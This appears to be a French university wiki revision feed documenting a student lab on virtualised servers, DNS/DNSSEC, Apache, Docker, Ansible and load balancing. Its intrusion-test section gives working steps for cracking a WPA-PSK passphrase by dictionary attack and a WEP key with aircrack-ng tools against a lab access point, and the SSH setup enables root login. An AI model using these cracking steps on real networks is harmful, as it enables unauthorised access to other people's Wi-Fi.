:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: stopped&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      image: image-for-chlamydiae&lt;br /&gt;
  &lt;br /&gt;
  #  - name: Delete the image&lt;br /&gt;
  #    docker_image:&lt;br /&gt;
  #      name: image-for-chlamydiae&lt;br /&gt;
  #      tag: latest&lt;br /&gt;
  #      state: absent&lt;br /&gt;
  #      force: yes&lt;br /&gt;
&lt;br /&gt;
Que l'on lance avec la commande:&lt;br /&gt;
  ansible-playbook file_name.yml&lt;br /&gt;
&lt;br /&gt;
La tâche &amp;quot;Last&amp;quot; qui effectue &amp;quot;docker ps&amp;quot; ne donne pas le résultat escompté: lorsqu'elle se lance le conteneur est encore en création.&lt;br /&gt;
Mais en ce connectant aux machines virtuelles secondaires on remarque que ça fonctionne bien:&lt;br /&gt;
&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
Nous allons dans un premier temps activer les modules nécessaires; pour cela, on saisi les commandes suivantes:&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
  a2enmod proxy (au cas où mais ça s’active en même temps)&lt;br /&gt;
  a2enmod proxy_balancer&lt;br /&gt;
  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51822</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51822"/>
				<updated>2019-12-16T17:10:24Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
